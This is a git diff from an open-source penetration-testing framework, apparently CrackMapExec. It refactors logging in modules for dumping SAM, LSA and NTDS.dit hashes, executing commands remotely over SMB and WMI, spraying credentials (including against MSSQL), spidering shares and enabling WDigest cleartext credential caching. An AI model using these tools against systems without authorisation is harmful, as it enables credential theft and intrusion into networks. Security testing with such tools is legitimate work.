__init__(self, securityFile, bootKey, logger, remoteOps = None, isRemote = False): OfflineRegistry.__init__(self,securityFile, isRemote) self.__hashedBootKey = '' self.__bootKey = bootKey @@ -957,6 +973,7 @@ class LSASecrets(OfflineRegistry): self.__remoteOps = remoteOps self.__cachedItems = [] self.__secretItems = [] + self.__logger = logger def MD5(self, data): md5 = hashlib.new('md5') @@ -970,22 +987,6 @@ class LSASecrets(OfflineRegistry): sha.update(value) return sha.digest() - def __decryptAES(self, key, value, iv='\x00'*16): - plainText = '' - if iv != '\x00'*16: - aes256 = AES.new(key,AES.MODE_CBC, iv) - - for index in range(0, len(value), 16): - if iv == '\x00'*16: - aes256 = AES.new(key,AES.MODE_CBC, iv) - cipherBuffer = value[index:index+16] - # Pad buffer to 16 bytes - if len(cipherBuffer) < 16: - cipherBuffer += '\x00' * (16-len(cipherBuffer)) - plainText += aes256.decrypt(cipherBuffer) - - return plainText - def __decryptSecret(self, key, value): # [MS-LSAD] Section 5.1.2 plainText = '' @@ -1022,7 +1023,7 @@ class LSASecrets(OfflineRegistry): # ToDo: There could be more than one LSA Keys record = LSA_SECRET(value) tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32]) - plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:]) + plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) record = LSA_SECRET_BLOB(plainText) self.__LSAKey = record['Secret'][52:][:32] @@ -1059,7 +1060,7 @@ class LSASecrets(OfflineRegistry): if self.__vistaStyle is True: record = LSA_SECRET(value[1]) tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) - self.__NKLMKey = self.__decryptAES(tmpKey, record['EncryptedData'][32:]) + self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) else: self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1]) @@ -1095,7 +1096,7 @@ class LSASecrets(OfflineRegistry): record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1]) if record['CH'] != 16 * '\x00': if self.__vistaStyle is True: - plainText = self.__decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH']) + plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH']) else: plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH']) pass @@ -1108,7 +1109,7 @@ class LSASecrets(OfflineRegistry): domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le') answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain) self.__cachedItems.append(answer) - print_att(answer) + self.__logger.results(answer) def __printSecret(self, name, secretItem): # Based on [MS-LSAD] section 3.1.1.4 @@ -1186,12 +1187,13 @@ class LSASecrets(OfflineRegistry): secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest())) if secret != '': - print_att(secret) + self.__logger.results(secret) self.__secretItems.append(secret) else: # Default print, hexdump + self.__logger.results('{}:{}'.format(name, hexlify(secretItem))) self.__secretItems.append('%s:%s' % (name, hexlify(secretItem))) - print_att("{}:{}".format(name, hexlify(secretItem))) + #hexdump(secretItem) def dumpSecrets(self): if self.__securityFile is None: @@ -1222,7 +1224,7 @@ class LSASecrets(OfflineRegistry): if self.__vistaStyle is True: record = LSA_SECRET(value[1]) tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) - plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:]) + plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) record = LSA_SECRET_BLOB(plainText) secret = record['Secret'] else: @@ -1335,6 +1337,14 @@ class NTDSHashes: ('EncryptedHash','16s=""'), ) + class CRYPTED_HASHW16(Structure): + structure = ( + ('Header','8s=""'), + ('KeyMaterial','16s=""'), + ('Unknown',' 0: @@ -1898,7 +1942,7 @@ class NTDSHashes: logging.info('ClearText passwords grabbed') for itemKey in self.__clearTextPwds.keys(): - print_att(itemKey) + print itemKey # Closing output file if self.__outputFileName is not None: @@ -1921,9 +1965,8 @@ class NTDSHashes: class DumpSecrets: - def __init__(self, address, port, outputFile, smbConnection, kerberos=False): - self.__remoteAddr = address - self.__remotePort = port + def __init__(self, logger, outputFile, smbConnection, kerberos=False): + self.__logger = logger #self.__username = username #self.__password = password #self.__domain = domain @@ -2009,8 +2052,8 @@ class DumpSecrets: if self.__bootKey is not None: try: SAMFileName = self.__remoteOps.saveSAM() - self.__SAMHashes = SAMHashes(SAMFileName, self.__bootKey, isRemote = True) - print_succ('{}:{} Dumping SAM hashes (uid:rid:lmhash:nthash):'.format(self.__remoteAddr, self.__remotePort)) + self.__SAMHashes = SAMHashes(SAMFileName, self.__bootKey, self.__logger, isRemote = True) + self.__logger.success('Dumping SAM hashes (uid:rid:lmhash:nthash)') self.__SAMHashes.dump() if self.__outputFileName is not None: self.__SAMHashes.export(self.__outputFileName) @@ -2022,8 +2065,8 @@ class DumpSecrets: if self.__bootKey is not None: try: SECURITYFileName = self.__remoteOps.saveSECURITY() - print_succ('{}:{} Dumping LSA secrets:'.format(self.__remoteAddr, self.__remotePort)) - self.__LSASecrets = LSASecrets(SECURITYFileName, self.__bootKey, self.__remoteOps, isRemote=True) + self.__logger.success('Dumping LSA secrets') + self.__LSASecrets = LSASecrets(SECURITYFileName, self.__bootKey, self.__logger, self.__remoteOps, isRemote=True) self.__LSASecrets.dumpCachedHashes() if self.__outputFileName is not None: self.__LSASecrets.exportCached(self.__outputFileName) @@ -2042,8 +2085,8 @@ class DumpSecrets: else: NTDSFileName = None - print_succ("{}:{} Dumping NTDS.dit secrets using the {} method (domain\\uid:rid:lmhash:nthash):".format(self.__remoteAddr, self.__remotePort, method.upper())) - self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, isRemote=True, history=history, + self.__logger.success("Dumping NTDS.dit secrets using the {} method (domain\\uid:rid:lmhash:nthash)".format(method.upper())) + self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, self.__logger, isRemote=True, history=history, noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, useVSSMethod=vss, justNTLM=self.__justDCNTLM, pwdLastSet=pwdLastSet, resumeSession=self.__resumeFileName, diff --git a/core/scripts/services.py b/core/scripts/services.py index 736a3bca..8b438adb 100755 --- a/core/scripts/services.py +++ b/core/scripts/services.py @@ -19,7 +19,6 @@ import sys import logging import codecs -from core.logger import * from impacket import version from impacket.dcerpc.v5 import transport, scmr from impacket.dcerpc.v5.ndr import NULL @@ -32,7 +31,7 @@ class SVCCTL: '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), } - def __init__(self, username, password, domain, protocol, action, options): + def __init__(self, logger, username, password, domain, protocol, action, options): self.__username = username self.__password = password self.__protocol = SVCCTL.KNOWN_PROTOCOLS.keys() @@ -46,6 +45,7 @@ class SVCCTL: self.__protocol = protocol self.__addr = None self.__port = None + self.__logger = logger if options.hash is not None: self.__lmhash, self.__nthash = options.hash.split(':') @@ -92,19 +92,19 @@ class SVCCTL: serviceHandle = ans['lpServiceHandle'] if self.__action == 'START': - print_status("{}:{} Starting service {}".format(self.__addr, self.__port, self.__options.service_name)) + self.__logger.success("Starting service {}".format(self.__options.service_name)) scmr.hRStartServiceW(rpc, serviceHandle) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'STOP': - print_status("{}:{} Stopping service {}".format(self.__addr, self.__port, self.__options.service_name)) + self.__logger.success("Stopping service {}".format(self.__options.service_name)) scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'DELETE': - print_status("{}:{} Deleting service {}".format(self.__addr, self.__port, self.__options.service_name)) + self.__logger.success("Deleting service {}".format(self.__options.service_name)) scmr.hRDeleteService(rpc, serviceHandle) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'CONFIG': - print_succ("{}:{} Service config for {}:".format(self.__addr, self.__port, self.__options.service_name)) + self.__logger.success("Service config for {}".format(self.__options.service_name)) resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle) output = "TYPE : %2d - " % resp['lpServiceConfig']['dwServiceType'] if resp['lpServiceConfig']['dwServiceType'] & 0x1: @@ -117,7 +117,7 @@ class SVCCTL: output += "SERVICE_WIN32_SHARE_PROCESS " if resp['lpServiceConfig']['dwServiceType'] & 0x100: output += "SERVICE_INTERACTIVE_PROCESS " - print_att(output) + self.__logger.results(output) output = "START_TYPE : %2d - " % resp['lpServiceConfig']['dwStartType'] if resp['lpServiceConfig']['dwStartType'] == 0x0: @@ -132,7 +132,7 @@ class SVCCTL: output += "DISABLED" else: output += "UNKOWN" - print_att(output) + self.logger.results(output) output = "ERROR_CONTROL : %2d - " % resp['lpServiceConfig']['dwErrorControl'] if resp['lpServiceConfig']['dwErrorControl'] == 0x0: @@ -145,16 +145,16 @@ class SVCCTL: output += "CRITICAL" else: output += "UNKOWN" - print_att(output) + self.__logger.results(output) - print_att("BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1]) - print_att("LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1]) - print_att("TAG : %d" % resp['lpServiceConfig']['dwTagId']) - print_att("DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1]) - print_att("DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1]) - print_att("SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1]) + self.__logger.results("BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1]) + self.__logger.results("LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1]) + self.__logger.results("TAG : %d" % resp['lpServiceConfig']['dwTagId']) + self.__logger.results("DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1]) + self.__logger.results("DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1]) + self.__logger.results("SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1]) elif self.__action == 'STATUS': - print_succ("{}:{} Service status for {}:".format(self.__addr, self.__port, self.__options.service_name)) + self.__logger.success("Service status for {}".format(self.__options.service_name)) resp = scmr.hRQueryServiceStatus(rpc, serviceHandle) output = "%s - " % self.__options.service_name state = resp['lpServiceStatus']['dwCurrentState'] @@ -174,9 +174,9 @@ class SVCCTL: output += "STOPPED" else: output += "UNKOWN" - print_att(output) + self.__logger.results(output) elif self.__action == 'LIST': - print_succ("{}:{} Available services:".format(self.__addr, self.__port)) + self.__logger.success("Enumerating services") #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS ) #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS ) #resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL ) @@ -200,13 +200,13 @@ class SVCCTL: output += "STOPPED" else: output += "UNKOWN" - print_att(output) - print_att("Total Services: %d" % len(resp)) + self.__logger.results(output) + self.__logger.results("Total Services: {}".format(len(resp))) elif self.__action == 'CREATE': - print_status("{}:{} Creating service {}".format(self.__addr, self.__port, self.__options.service_name)) + self.__logger.success("Creating service {}".format(self.__options.service_name)) scmr.hRCreateServiceW(rpc, scManagerHandle,self.__options.service_name + '\x00', self.__options.service_display_name + '\x00', lpBinaryPathName=self.__options.service_bin_path + '\x00') elif self.__action == 'CHANGE': - print_status("{}:{} Changing service config for {}".format(self.__addr, self.__port, self.__options.service_name)) + self.__logger.success("Changing service config for {}".format(self.__options.service_name)) if self.__options.start_type is not None: start_type = int(self.__options.start_type) else: diff --git a/core/scripts/smbexec.py b/core/scripts/smbexec.py index da8e1135..98aee319 100755 --- a/core/scripts/smbexec.py +++ b/core/scripts/smbexec.py @@ -35,7 +35,6 @@ import logging import random import string -from core.logger import * from core.servers.smbserver import SMBServer from impacket import version from impacket.smbconnection import * @@ -51,11 +50,12 @@ class SMBEXEC: '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), } - def __init__(self, command, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None, noOutput=False): + def __init__(self, logger, command, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None, noOutput=False): if not protocols: protocols = SMBEXEC.KNOWN_PROTOCOLS.keys() + self.__logger = logger self.__username = username self.__password = password self.__command = command @@ -100,7 +100,7 @@ class SMBEXEC: if self.__mode == 'SERVER': serverThread = SMBServer() serverThread.start() - self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__noOutput) + self.shell = RemoteShell(self.__logger, self.__share, rpctransport, self.__mode, self.__serviceName, self.__noOutput) self.shell.onecmd(self.__command) self.shell.finish() if self.__mode == 'SERVER': @@ -111,8 +111,9 @@ class SMBEXEC: self.shell.finish() class RemoteShell(cmd.Cmd): - def __init__(self, share, rpc, mode, serviceName, noOutput): + def __init__(self, logger, share, rpc, mode, serviceName, noOutput): cmd.Cmd.__init__(self) + self.__logger = logger self.__share = share self.__mode = mode self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME @@ -235,9 +236,9 @@ class RemoteShell(cmd.Cmd): def send_data(self, data): self.execute_remote(data) peer = ':'.join(map(str, self.__rpc.get_socket().getpeername())) - print_succ("{} Executed command via SMBEXEC".format(peer)) + self.__logger.success("Executed command via SMBEXEC") if self.__noOutput is False: buf = StringIO(self.__outputBuffer.strip()).readlines() for line in buf: - print_att(line.strip()) + self.__logger.results(line.strip()) self.__outputBuffer = '' diff --git a/core/scripts/wmiexec.py b/core/scripts/wmiexec.py index 632f3963..ead8f0bf 100755 --- a/core/scripts/wmiexec.py +++ b/core/scripts/wmiexec.py @@ -29,7 +29,6 @@ import ntpath import core.settings as settings from gevent import sleep -from core.logger import * from impacket import version from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21 from impacket.dcerpc.v5.dcomrt import DCOMConnection @@ -40,7 +39,8 @@ from StringIO import StringIO OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) class WMIEXEC: - def __init__(self, command = '', username = '', password = '', domain = '', hashes = None, aesKey = None, share = None, noOutput=False, doKerberos=False): + def __init__(self, logger, command = '', username = '', password = '', domain = '', hashes = None, aesKey = None, share = None, noOutput=False, doKerberos=False): + self.__logger = logger self.__command = command self.__username = username self.__password = password @@ -73,7 +73,7 @@ class WMIEXEC: win32Process,_ = iWbemServices.GetObject('Win32_Process') try: - self.shell = RemoteShell(self.__share, win32Process, smbConnection) + self.shell = RemoteShell(self.__logger, self.__share, win32Process, smbConnection) self.shell.onecmd(self.__command) except (Exception, KeyboardInterrupt) as e: logging.error(str(e)) @@ -82,8 +82,9 @@ class WMIEXEC: dcom.disconnect() class RemoteShell(cmd.Cmd): - def __init__(self, share, win32Process, smbConnection): + def __init__(self, logger, share, win32Process, smbConnection): cmd.Cmd.__init__(self) + self.__logger = logger self.__share = share self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME self.__outputBuffer = '' @@ -228,10 +229,10 @@ class RemoteShell(cmd.Cmd): def send_data(self, data): self.execute_remote(data) - print_succ('{}:{} Executed command via WMIEXEC'.format(self.__win32Process.get_target(), - settings.args.port)) + self.__logger.success('Executed command via WMIEXEC') + if self.__noOutput is False: buf = StringIO(self.__outputBuffer.strip()).readlines() for line in buf: - print_att(line.strip()) + self.__logger.results(line.strip()) self.__outputBuffer = '' \ No newline at end of file diff --git a/core/scripts/wmiquery.py b/core/scripts/wmiquery.py index cbb9ba48..d054e6c4 100755 --- a/core/scripts/wmiquery.py +++ b/core/scripts/wmiquery.py @@ -22,7 +22,6 @@ import os import logging import cmd -from core.logger import * from impacket import version from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcom import wmi @@ -31,7 +30,8 @@ import core.settings as settings class WMIQUERY: - def __init__(self, username, password, domain, hashes = None, doKerberos = False, aesKey = None, oxidResolver = True): + def __init__(self, logger, username, password, domain, hashes = None, doKerberos = False, aesKey = None, oxidResolver = True): + self.__logger = logger self.__username = username self.__password = password self.__domain = domain @@ -53,15 +53,16 @@ class WMIQUERY: iWbemServices= iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) iWbemLevel1Login.RemRelease() - shell = WMIShell(iWbemServices, address) + shell = WMIShell(self.__logger, iWbemServices, address) shell.onecmd(command) iWbemServices.RemRelease() dcom.disconnect() class WMIShell(cmd.Cmd): - def __init__(self, iWbemServices, address): + def __init__(self, logger, iWbemServices, address): cmd.Cmd.__init__(self) + self.logger = logger self.address = address self.iWbemServices = iWbemServices @@ -104,7 +105,7 @@ class WMIShell(cmd.Cmd): line = [] for rec in record: line.append('{}: {}'.format(rec, record[rec]['value'])) - print_att(' | '.join(line)) + self.logger.results(' | '.join(line)) except Exception, e: #import traceback #print traceback.print_exc() @@ -120,7 +121,7 @@ class WMIShell(cmd.Cmd): line = line[:-1] try: iEnumWbemClassObject = self.iWbemServices.ExecQuery(line.strip('\n')) - print_succ('{}:{} Executed specified WMI query:'.format(self.address, settings.args.port)) + self.logger.success('Executed specified WMI query') self.printReply(iEnumWbemClassObject) iEnumWbemClassObject.RemRelease() except Exception, e: diff --git a/core/settings.py b/core/settings.py index f49917fe..2c26250f 100644 --- a/core/settings.py +++ b/core/settings.py @@ -1,3 +1,6 @@ +from random import sample +from string import ascii_lowercase + def init_args(arg_namespace): """ This is just so we can easily share argparse's namespace @@ -7,4 +10,7 @@ def init_args(arg_namespace): args = arg_namespace global gfails - gfails = 0 \ No newline at end of file + gfails = 0 + + global obfs_func_name + obfs_func_name = ''.join(sample(ascii_lowercase, 10)) \ No newline at end of file diff --git a/core/sharedump.py b/core/sharedump.py index e30b3137..3cd12de2 100644 --- a/core/sharedump.py +++ b/core/sharedump.py @@ -1,4 +1,3 @@ -from logger import * from impacket.smbconnection import SessionError import random import string @@ -7,9 +6,10 @@ import settings class SHAREDUMP: - def __init__(self, smbconnection): + def __init__(self, smbconnection, logger): self.__smbconnection = smbconnection self.__permdir = ''.join(random.sample(string.ascii_letters, 10)) + self.__logger = logger def dump(self, host): permissions = {} @@ -32,11 +32,11 @@ class SHAREDUMP: except SessionError: pass - print_succ('{}:{} Available shares:'.format(host, settings.args.port)) - print_att('{:>15} {:>15}'.format('SHARE', 'Permissions')) - print_att('{:>15} {:>15}'.format('-----', '-----------')) + self.__logger.success('Enumerating shares') + self.__logger.results('{:>15} {:>15}'.format('SHARE', 'Permissions')) + self.__logger.results('{:>15} {:>15}'.format('-----', '-----------')) for share, perm in permissions.iteritems(): if not perm: - print_att(u'{:>15} {:>15}'.format(share, 'NO ACCESS')) + self.__logger.results(u'{:>15} {:>15}'.format(share, 'NO ACCESS')) else: - print_att(u'{:>15} {:>15}'.format(share, ', '.join(perm))) \ No newline at end of file + self.__logger.results(u'{:>15} {:>15}'.format(share, ', '.join(perm))) \ No newline at end of file diff --git a/core/smartlogin.py b/core/smartlogin.py index 2046b358..1d883f7f 100644 --- a/core/smartlogin.py +++ b/core/smartlogin.py @@ -6,7 +6,10 @@ import os import csv import StringIO -def smart_login(host, smb, domain): +class MSSQLSessionError(Exception): + pass + +def smart_login(host, domain, connection, cme_logger): ''' This function should probably be called ugly_login ''' @@ -19,11 +22,12 @@ def smart_login(host, smb, domain): if settings.args.fail_limit: if settings.args.fail_limit == fails: - print_status('{}:{} Reached login fail limit'.format(host, settings.args.port)) + cme_logger.info('Reached login fail limit') raise socket.error + if settings.args.gfail_limit: if settings.gfails >= settings.args.gfail_limit: - print_status('{}:{} Reached global login fail limit'.format(host, settings.args.port)) + cme_logger.info('Reached global login fail limit') raise socket.error line = line.strip() @@ -54,23 +58,45 @@ def smart_login(host, smb, domain): try: if settings.args.kerb: - smb.kerberosLogin(user, passwd, domain, lmhash, nthash, settings.args.aesKey) + if settings.args.mssql is not None: + res = connection.kerberosLogin(None, user, passwd, domain, ':'.join(lmhash, nthash), settings.args.aesKey) + if res is not True: + connection.printReplies() + raise MSSQLSessionError + else: + connection.kerberosLogin(user, passwd, domain, lmhash, nthash, settings.args.aesKey) + else: - smb.login(user, passwd, domain, lmhash, nthash) - print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd)) + if settings.args.mssql is not None: + res = connection.login(None, user, passwd, domain, ':'.join(lmhash, nthash), True) + if res is not True: + connection.printReplies() + raise MSSQLSessionError + else: + connection.login(user, passwd, domain, lmhash, nthash) + + cme_logger.success("Login successful {}\\{}:{}".format(domain, user, passwd)) + settings.args.user = user settings.args.passwd = passwd settings.args.hash = ':'.join(lmhash, nthash) - return smb + + return connection + except SessionError as e: - print_error("{}:{} {}\\{}:{} {}".format(host, settings.args.port, domain, user, passwd, e)) + cme_logger.error("{}\\{}:{} {}".format(domain, user, passwd, e)) if 'STATUS_LOGON_FAILURE' in e: fails += 1 settings.gfails += 1 continue + except MSSQLSessionError: + fails += 1 + settings.gfails += 1 + continue + except Exception as e: - print_error("Error parsing line '{}' in combo file: {}".format(line, e)) + cme_logger.error("Error parsing line '{}' in combo file: {}".format(line, e)) continue else: usernames = [] @@ -122,11 +148,12 @@ def smart_login(host, smb, domain): if settings.args.fail_limit: if settings.args.fail_limit == fails: - print_status('{}:{} Reached login fail limit'.format(host, settings.args.port)) + cme_logger.info('Reached login fail limit') raise socket.error + if settings.args.gfail_limit: if settings.gfails >= settings.args.gfail_limit: - print_status('{}:{} Reached global login fail limit'.format(host, settings.args.port)) + cme_logger.info('Reached global login fail limit') raise socket.error ntlm_hash = ntlm_hash.strip().lower() @@ -135,30 +162,51 @@ def smart_login(host, smb, domain): try: if settings.args.kerb: - smb.kerberosLogin(user, '', domain, lmhash, nthash, settings.args.aesKey) + if settings.args.mssql is not None: + res = connection.kerberosLogin(None, user, '', domain, ':'.join(lmhash, nthash), settings.args.aesKey) + if res is not True: + connection.printReplies() + raise MSSQLSessionError + else: + connection.kerberosLogin(user, '', domain, lmhash, nthash, settings.args.aesKey) else: - smb.login(user, '', domain, lmhash, nthash) - print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, ntlm_hash)) + if settings.args.mssql is not None: + res = connection.login(None, user, '', domain, ':'.join(lmhash, nthash), True) + if res is not True: + connection.printReplies() + raise MSSQLSessionError + else: + connection.login(user, '', domain, lmhash, nthash) + + cme_logger.success("Login successful {}\\{}:{}".format(domain, user, ntlm_hash)) settings.args.user = user settings.args.hash = ntlm_hash - return smb + + return connection + except SessionError as e: - print_error("{}:{} {}\\{}:{} {}".format(host, settings.args.port, domain, user, ntlm_hash, e)) + cme_logger.error("{}\\{}:{} {}".format(domain, user, ntlm_hash, e)) if 'STATUS_LOGON_FAILURE' in str(e): fails += 1 settings.gfails += 1 continue + except MSSQLSessionError: + fails += 1 + settings.gfails += 1 + continue + if passwords: for passwd in passwords: if settings.args.fail_limit: if settings.args.fail_limit == fails: - print_status('{}:{} Reached login fail limit'.format(host, settings.args.port)) + cme_logger.info('Reached login fail limit') raise socket.error + if settings.args.gfail_limit: if settings.gfails >= settings.args.gfail_limit: - print_status('{}:{} Reached global login fail limit'.format(host, settings.args.port)) + cme_logger.info('Reached global login fail limit') raise socket.error passwd = passwd.strip() @@ -166,18 +214,38 @@ def smart_login(host, smb, domain): if passwd == '': passwd = "''" try: if settings.args.kerb: - smb.kerberosLogin(user, passwd, domain, '', '', settings.args.aesKey) + if settings.args.mssql is not None: + connection.kerberosLogin(None, user, passwd, domain, None, settings.args.aesKey) + if res is not True: + connection.printReplies() + raise MSSQLSessionError + else: + connection.kerberosLogin(user, passwd, domain, '', '', settings.args.aesKey) else: - smb.login(user, passwd, domain) - print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd)) + if settings.args.mssql is not None: + res = connection.login(None, user, passwd, domain, None, True) + if res is not True: + connection.printReplies() + raise MSSQLSessionError + else: + connection.login(user, passwd, domain) + + cme_logger.success("Login successful {}\\{}:{}".format(domain, user, passwd)) settings.args.user = user settings.args.passwd = passwd - return smb + + return connection + except SessionError as e: - print_error("{}:{} {}\\{}:{} {}".format(host, settings.args.port, domain, user, passwd, e)) + cme_logger.error("{}\\{}:{} {}".format(domain, user, passwd, e)) if 'STATUS_LOGON_FAILURE' in str(e): fails += 1 settings.gfails += 1 continue + except MSSQLSessionError: + fails += 1 + settings.gfails += 1 + continue + raise socket.error #So we fail without a peep \ No newline at end of file diff --git a/core/smbspider.py b/core/smbspider.py index e75be82e..6c6e39ab 100644 --- a/core/smbspider.py +++ b/core/smbspider.py @@ -2,7 +2,6 @@ import re import settings import traceback -from logger import * from time import time, strftime, localtime from impacket.smbconnection import SessionError from remotefilesystem import RemoteFile @@ -10,11 +9,12 @@ from impacket.smb3structs import FILE_READ_DATA class SMBSPIDER: - def __init__(self, host, smbconnection): + def __init__(self, logger, host, smbconnection): + self.__logger = logger self.__smbconnection = smbconnection self.__start_time = time() self.__host = host - print_status("{}:{} Started spidering".format(self.__host, settings.args.port)) + self.__logger.success("Started spidering") def spider(self, subfolder, depth): ''' @@ -54,13 +54,13 @@ class SMBSPIDER: for pattern in settings.args.pattern: if re.findall(pattern, result.get_longname()): if result.is_directory(): - print_att(u"//{}/{}{} [dir]".format(self.__host, path, result.get_longname())) + self.__logger.results(u"//{}/{}{} [dir]".format(self.__host, path, result.get_longname())) else: - print_att(u"//{}/{}{} [lastm:'{}' size:{}]".format(self.__host, - path, - result.get_longname(), - strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())), - result.get_filesize())) + self.__logger.results(u"//{}/{}{} [lastm:'{}' size:{}]".format(self.__host, + path, + result.get_longname(), + strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())), + result.get_filesize())) if settings.args.search_content: if not result.is_directory(): @@ -85,13 +85,13 @@ class SMBSPIDER: return if re.findall(pattern, contents): - print_att(u"//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:{}]".format(self.__host, - path, - result.get_longname(), - strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())), - result.get_filesize(), - rfile.tell(), - pattern.pattern)) + self.__logger.results(u"//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:{}]".format(self.__host, + path, + result.get_longname(), + strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())), + result.get_filesize(), + rfile.tell(), + pattern.pattern)) rfile.close() return @@ -101,10 +101,8 @@ class SMBSPIDER: if settings.args.verbose: traceback.print_exc() except Exception as e: - print_error(str(e)) + self.__logger.error(str(e)) if settings.args.verbose: traceback.print_exc() def finish(self): - print_status("{}:{} Done spidering (Completed in {})".format(self.__host, - settings.args.port, - time() - self.__start_time)) \ No newline at end of file + self.__logger.error("Done spidering (Completed in {})".format(time() - self.__start_time)) \ No newline at end of file diff --git a/core/uacdump.py b/core/uacdump.py index 03a522d5..af364d3f 100644 --- a/core/uacdump.py +++ b/core/uacdump.py @@ -1,10 +1,10 @@ from scripts.secretsdump import RemoteOperations from impacket.dcerpc.v5 import rrp -from logger import * class UACdump: - def __init__(self, smbconnection, doKerb): + def __init__(self, logger, smbconnection, doKerb): + self.logger = logger self.smbconnection = smbconnection self.peer = ':'.join(map(str, smbconnection.getSMBServer().get_socket().getpeername())) self.doKerb = doKerb @@ -18,11 +18,11 @@ class UACdump: keyHandle = ans['phkResult'] dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA') - print_succ("{} UAC status:".format(self.peer)) + self.logger.success("Enumerating UAC status") if uac_value == 1: - print_att('1 - UAC Enabled') + self.logger.results('1 - UAC Enabled') elif uac_value == 0: - print_att('0 - UAC Disabled') + self.logger.results('0 - UAC Disabled') rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) remoteOps.finish() diff --git a/core/wdigestenable.py b/core/wdigestenable.py index 102aaab4..ef8c0fa0 100644 --- a/core/wdigestenable.py +++ b/core/wdigestenable.py @@ -1,11 +1,11 @@ from scripts.secretsdump import RemoteOperations from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5 import rrp -from logger import * class WdisgestEnable: - def __init__(self, smbconnection, doKerb): + def __init__(self, logger, smbconnection, doKerb): + self.logger = logger self.smbconnection = smbconnection self.peer = ':'.join(map(str, smbconnection.getSMBServer().get_socket().getpeername())) self.doKerb = doKerb @@ -28,7 +28,7 @@ class WdisgestEnable: rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00') if int(data) == 1: - print_succ('{} UseLogonCredential registry key created successfully'.format(self.peer)) + self.logger.success('UseLogonCredential registry key created successfully') try: remoteOps.finish() @@ -53,7 +53,7 @@ class WdisgestEnable: #Check to make sure the reg key is actually deleted rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00') except DCERPCException: - print_succ('{} UseLogonCredential registry key deleted successfully'.format(self.peer)) + self.logger.success('UseLogonCredential registry key deleted successfully') try: remoteOps.finish() diff --git a/crackmapexec.py b/crackmapexec.py index 18fbb88f..2229a0cc 100755 --- a/crackmapexec.py +++ b/crackmapexec.py @@ -8,26 +8,25 @@ from gevent.pool import Pool from gevent import joinall, sleep from core.logger import * -from core.maingreenlet import connect +from core.greenlets import main_greenlet from core.settings import init_args from core.servers.mimikatz import http_server, https_server from argparse import RawTextHelpFormatter from netaddr import IPAddress, 